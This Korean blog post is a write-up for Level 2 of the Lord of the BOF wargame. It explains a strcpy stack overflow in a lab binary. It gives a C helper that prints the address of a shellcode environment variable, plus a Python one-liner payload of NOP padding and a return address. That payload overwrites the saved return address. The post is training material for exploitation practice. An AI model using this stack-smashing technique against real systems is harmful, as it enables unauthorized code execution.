ii4gsp

LOB - Level2 [gremlin -> cobolt] 본문

시스템 해킹/LOB

LOB - Level2 [gremlin -> cobolt]

ii4gsp 2020. 1. 13. 22:39

첫 번째 문제와 크게 달라지진 않았다.

하지만 버퍼의 크기가작아 쉘코드를 환경변수에 등록하면 될것 같다.

strcpy() 함수에서 취약점이 일어난다.

 

 

 

 

파일을 복사해주고 gdb로 열어보면 스택의 구조는 buffer - sfp - ret이다.

 

 

 

 

#include <stdio.h>

int main()
{
	printf("%p\n", getenv("shellcode"));
    return 0;
}

쉘코드의 주소를 알아내기 위해 소스코드를 작성해주고

 

 

 

 

25byte 쉘코드를 환경변수에 등록해주고 아까 작성한 코드를 실행하여 쉘코드의 주소를 알아내었다.

페이로드 작성은 buffer[16byte] + sfp[4byte] + ret가 된다.

 

 

 

 

 

payload

./cobolt $(python -c 'print "\x90" * 20 + "\x61\xff\xff\xbf"')

 

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level6 [wolfman -> darkelf]  (0) 2020.01.14
LOB - Level5 [orc -> wolfman]  (0) 2020.01.14
LOB - Level4 [goblin -> orc]  (0) 2020.01.14
LOB - Level3 [cobolt -> goblin]  (0) 2020.01.13
LOB - Level1 [gate -> gremlin]  (0) 2020.01.13
Comments